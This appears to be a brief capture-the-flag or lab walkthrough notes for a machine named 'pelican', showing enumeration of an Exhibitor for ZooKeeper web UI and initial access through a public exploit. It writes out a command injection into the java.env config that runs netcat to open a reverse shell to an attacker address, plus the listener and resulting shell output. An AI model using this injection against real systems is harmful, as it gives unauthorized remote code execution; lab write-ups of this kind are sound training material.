4 :8080 :8081

http://192.168.99.98:8080/
Problem accessing /. Reason: Not Found
Jetty 1.0

# gobuster nothing

http://192.168.99.98:8081 > 
http://192.168.99.98:8080/exhibitor/v1/ui/index.html
Exhibitor for ZooKeeper v1.0

# searching for zookeeper exploit on google
Using https://www.exploit-db.com/exploits/48654

# Under Config tab > Editing: ON
# add to java.env script: $(nc -e /bin/bash 192.168.49.99 445 &)
# Commit > All at once

$ nc -lvnp 445
listening on [any] 445 ...
connect to [192.168.49.99] from (UNKNOWN) [192.168.99.98] 57482
whoami;id;hostname
charles
uid=1000(charles) gid=1000(charles) groups=1000(charles)
pelican

Last updated